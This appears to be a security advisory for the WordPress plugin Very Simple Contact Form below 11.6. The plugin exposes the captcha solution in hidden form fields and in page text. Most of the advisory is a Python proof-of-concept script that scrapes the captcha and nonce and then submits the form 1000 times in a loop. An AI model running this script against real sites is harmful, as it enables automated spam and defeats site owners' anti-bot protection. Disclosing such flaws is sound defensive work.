Very Simple Contact Form < 11.6 - Captcha bypass

The plugin exposes the solution to the captcha in the rendered contact form, both as hidden input fields and as plain text in the page, making it very easy for bots to bypass the captcha check, rendering the page a likely target for spam bots.

PoC

import requests from requests_html import HTMLSession from bs4 import BeautifulSoup #usage: python3 captcher.py #this is the url of a WP page that has implemented the form of the plugin. url = “http://192.168.1.5/index.php/just-some-test-dude/” proxies = {“http”: “127.0.0.1:8080”, “https”: “127.0.0.1:8080”} #This functions extracts the value of the captcha challenge by providing the id def extract_value(response, id): soup = BeautifulSoup(response, ‘html.parser’) tag = soup.find(‘input’, attrs={‘id’: id}) extracted = tag.get(‘value’) return extracted for i in range(1, 1001): s = requests.Session() first = s.get(url, proxies=proxies) captcha = extract_value(first.text, ‘vscf_captcha_hidden_one’) nonce = extract_value(first.text, ‘vscf_nonce’) data_post = {‘vscf_name’:‘AAA’, ‘vscf_email’:“[email protected]”, ‘vscf_subject’: ‘aaaaa’, ‘vscf_captcha’: captcha, ‘vscf_captcha_hidden_one’: captcha, ‘vscf_captcha_hidden_two’:‘0’, ‘vscf_firstname’: ‘’, ‘vscf_lastname’:‘’, ‘vscf_message’: ‘ssssssssssssssssssssssssssssssssssssssssssss’, ‘vscf_nonce’: nonce, #80abc23916 ‘_wp_http_referer’:‘%2Findex.php%2Fjust-some-test-dude%2F’, ‘vscf_send’: ‘’} submit = s.post(url, data=data_post, proxies=proxies)